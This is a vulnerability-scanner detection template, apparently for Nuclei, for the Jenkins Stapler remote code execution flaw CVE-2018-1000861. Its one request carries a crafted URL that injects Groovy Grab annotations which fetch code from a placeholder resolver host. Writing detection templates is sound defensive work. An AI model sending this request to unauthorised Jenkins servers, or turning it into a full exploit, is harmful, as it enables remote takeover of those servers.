id: CVE-2018-1000861

info:
  name: Jenkins 2.138 Remote Command Execution
  author: dhiyaneshDK,pikpikcu
  severity: critical
  reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
  tags: cve,cve2018,jenkin,rce,jenkins
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2018-1000861
    cwe-id: CWE-502
  description: "A code execution vulnerability exists in the Stapler web framework used by Jenkins 2.153 and earlier, LTS 2.138.3 and earlier in stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java that allows attackers to invoke some methods on Java objects by accessing crafted URLs that were not intended to be invoked this way."

requests:
  - method: GET
    path:
      - '{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27vulntest%27,%20version=%271%27)%0aimport%20Payload;'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "package#vulntest"
        part: body

      - type: status
        status:
          - 200